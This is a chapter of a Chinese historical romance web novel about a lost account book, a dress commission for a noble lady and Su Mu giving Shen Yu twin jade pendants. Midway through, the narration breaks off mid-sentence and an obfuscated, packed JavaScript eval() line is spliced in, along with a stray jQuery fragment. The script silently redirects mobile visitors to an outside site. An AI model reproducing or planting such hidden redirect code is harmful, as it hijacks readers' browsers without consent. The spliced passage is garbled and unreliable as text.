“不等了,我们现在就去三公子那问问。账本丢了,奴婢心不安。”
既然西厢房和下厢房都翻遍了,那这账本定是再也找不回来了,眼下务必尽快告知苏景,沈虞再也等不下去了。
“好,我们现在就去。”
府里的丫鬟们见刚回来的苏木和沈虞,还未好好歇息,便又匆匆出了府。
“小公子和虞姑娘真是般配。”
“可不是,虞姑娘爱小公子爱的死去活来呢,这次上京,简直是不要命了。好在有石头跟着。”
“为了小公子,叫我我也不要命。可惜咱没那个机会。”
“嘿嘿,你可就拉倒吧,你也得生出虞姑娘那脸盘子啊。”
“我稀罕稀罕小公子还不行么......”
廊下两位丫鬟望着沈虞和苏木那双背影,满眼艳羡。
-
回到辽城的街道,再也没有人对沈虞说三道四,到是苏木,在众人眼里,到像是个被抛弃的落魄将军。
周氏到底是赢妃娘娘的表妹,怎么会嫁给苏家呢。苏木在街上接到了一些异样的眼光,似是对他投来了对一个失败者的惋惜。
“如今这天气真好,以后我们真要多出来走走。”
苏木感觉周身清爽,像是甩掉了一个大大的包袱。
他才不在意那些人的眼光,他在意的是,现在没有人再对沈虞说三道四,他宠一个通房丫鬟怎么了,这是他苏木自己的事,再不与周家有关。
苏景见到沈虞过来,甚是高兴。在他心里,已经对这位小女子产生了无比的敬佩之意。
“这么快就过来了?也不多歇两天。”
四人直接入了后堂,沈虞一坐下便焦急的询问:“三公子,奴婢刚回来,便发现账本不见了。这可如何是好?”
苏景一听,到未慌张,只是问道:“账本可曾看完?”
沈虞:“看完了,早早就看完了。”
苏景:“那便好。无妨。”
沈虞:“无妨?此为何意?”
伙计上了茶,沈虞却无心抬杯,只是将双手置于桌面,焦急的望着苏景,等待他的回答。
苏景缓缓道:“那是我叫账房先生抄的副本,原本都在店里呢。”
苏木心里一松:“我就说嘛,莫慌,不是什么大事。”
“这还不是大事,账本丢了,万一叫外人看了去......”
苏景哈哈笑道:“外人看了去怎么了?虞姑娘对我这么没有信心?”
沈虞迷惑:“此话怎讲?”
看来沈虞只知账本之重要,却不知开店之光明更为重要。
苏景微微一笑:“虞姑娘,账本固然重要,但是我苏某开店,一笔一金都是实数,从不做那伪账之事,任谁看了去,苏某都不怕。唯一嘛,便是咱们的流水利润会被人知晓,会容易遭人嫉妒罢了。不过,遭嫉之事,亦是常见,你来之前,苏某还常常嫉妒对面的罗裳坊呢。”
听苏景这么一说,沈虞一颗石头终于落了地。只是还是泄露了“苏饰”的营业流水,这叫她仍是愧疚。
“三公子高洁,无人能陷害。只是这账上的流水利润,还是会被人知晓了去。奴婢惶恐。”
“可是谁会偷那账本呢?何况还是在咱们自家府里,真是胆大包天了。”苏木愤愤道,“知道虞儿那里有账本的人,肯定是府里的人,外人断是不能知道的。”
“玉灵,我们去了京城的这段时间,你是否一直留在西厢房,是否有离开过?”
沈虞想知道,这账本到底是在下厢房丢的,还是西厢房丢的。
“我......你们走后,西厢房无事,我确实是经常去下厢房转转。你们不在,西厢房实在是太闷了。”
说完玉灵怯怯的望了苏木一眼,好在他未有什么表情。此事该是还得听虞姐姐的。
“算了,既然三公子说无妨,我们往后小心点便是。”沈虞说道,
“慢慢再查吧。眼下到是有一要紧事,司马夫人的大丫鬟前几日来交了定金,说是要给老夫人定一套寿诞上穿的新式衣裳,特意叮嘱是要新式。我这本是想着等虞姑娘歇两天再说,今日你们来了,正好了。”
说着苏景去取来布样,递给沈虞:“这是我们店里最新式的布料,从西域定来的,将好够做一件,既然是司马夫人的衣裳,那必定是要天下无双的,这样在宴席上才能出彩,当然了,这只是布料,另外,虞姑娘再在纹饰和款式上做新,想必司马夫人定会满意。”
沈虞看了看手中的这块布料,颜色鲜艳,织色浓密,间隔细细金丝,华丽无比。到真是适合在寿诞上穿。只是要在这上面再绣上纹饰,确实要好好琢磨一番,既不能抢了布料原本的奢华,又不能让纹绣黯淡无光,需要做到两者相互映衬,锦上添花。
“好的,三公子,奴婢这就回去好生设计。争取叫司马夫人满意。如此布料,当真金贵,奴婢今日亦是第一次见,算是开了眼了。”
玉灵上前摸了摸,瞧傻了眼,这布料说是贵如黄金亦不夸张,斗胆问道:“这样的一件衣裳,得要多少金啊?”
苏景淡然一笑:“司马夫人付了二十金。”
玉灵瞪大了眼睛,这富贵人家的财富真是如此夸张,当真是她想都不敢想的,一件衣裳竟然要二十金:“他们怎么这么有钱呐!”
“哎!”沈虞打断了玉灵,“莫要胡说。”
玉灵赶紧做捂嘴状。
-
这一回来,石头便赶紧去了金店取那小公子的平安扣,他真是完完全全忘了这回事,还是在京城给玉灵选玉扣时才想起。好在小公子未曾催起,这周氏的婚事拖了这么久,到叫是他多了许多时间。
石头一路低着头,猛往那金店赶。
刚入金店的大门,便见那掌柜的迎上来,一个劲的拱手抱歉。
“哎呀,小公子的玉扣,我们还未制作呢,一直想等着你来问,谁知这许久都不见你来。”
石头迷惑:“怎么了?”
掌柜继续道:“我们那镶金师父说了,此玉扣属世间少有的高品,镶了金可惜了,此等高货,寻常来说,都是保持原样佩戴,只消展露本色即好。到不是我不想赚你这银子,只是,确实可惜。”
说着掌柜的将木盒放到台上,打开里面的锦盒,将那两块包在绒布内的冰透满绿平安扣展给石头看:
“你瞧,这是难得的双生扣,出自同一块玉石,而这种透如冰水,满身浓绿的玉石更是万年难
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13219925|133731||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
遇,这对双生扣属于是可以传承的宝玉了。要么是宫里才有,要么亦是大家的传世之宝。此种宝玉,要是镶金便是毁了。你想,这么久了,为何都未曾镶过金啊?看来是苏公子不懂,这到无妨,我叫师傅配上了上等红绳,直接佩戴即可,你看可好?”
石头被这掌柜的说的一愣一愣的,似懂非懂,大抵意思就是:珍宝不用镶金。
“好好,我这就回去跟小公子说。谢谢掌柜的指教。”
揣着宝贝,石头一刻不敢怠慢,赶紧回到后院寻到了苏木。
“小公子,那掌柜的说,这是大宝贝,不用镶金,直接戴即可,还说什么这是双生扣,就是说出自同一块玉石。”
苏木一听,都等了这么久了,结果来个不用镶金?
“那为何如此之久?我还以为工艺复杂,耗了这许久的时间呢。”
石头挠挠头:“是小的......忘了。嘿嘿。”
苏木:“给我吧!晚上我给虞儿戴上。”
石头:“啊?不是给周氏的吗?”
苏木:“什么周氏,你脑子进水啦?我祖母给我留的,怎么可能给周氏!”
......石头更加糊涂了。
小公子可是......那时候便打算将这宝玉赠予虞姐姐了?
石头细细盘算,将时间推着推着,推到了小公子叫他取玉扣之时,正是玉灵撞他的那日,也就是小公子与虞姐姐通房的第二日......
这......着实让石头惊喜,原来,是小公子先爱上虞姐姐的!
想到这里,石头两眼放光。
而那时候的自己,还对玉灵百般躲避,看来自己真是个石头。
石头乖巧凑向苏木,问道:“小公子,莫不是对虞姐姐一见钟情?”
只见苏木的脸一下子红了起来,似是被人看穿了什么秘密:“是吧......”
他想起那日堂上,他是如何被沈虞摄了魂,魂不守舍。
他想起那日夜晚,他就像心中嵌入了珍宝,悸动不已。
苏木扔下还在惊讶与兴奋中的石头,奔回了西厢房。
他要赶紧将这双生扣给沈虞戴上。
-
沈虞就着这午后的阳光,在窗下细细研究新拿到的布料,光洒在金丝上,异常耀眼,如波光粼粼,又如繁星闪烁。
可惜不是大红色,若这样的布料换成红色,制成喜服,那定是耀绝全场。
门被苏木急急推开,沈虞回头一瞧:“何时小公子变得如此急躁了?”
这可不是她印象中小公子的模样。小公子向来寡言清语,而今,愈发散出少年气来。
苏木走到窗前,揽起沈虞的细腰,拨开垂下的发丝,端详着阳光下晶莹剔透的如玉小脸。
“送你个礼物。”
说着苏木掏出锦盒,将两块中的其中一块戴于沈虞脖颈。又将另一块置于沈虞手中:
“你给我戴。”
沈虞替他戴上,二人胸前挂着双生扣,浓郁的绿色在日光下双双闪耀。
“这是一对双生扣,我祖母留给我的。以后,你日日都戴着不许摘下,我也是。”
说着苏木将沈虞抱入怀中,他们终于是一对了。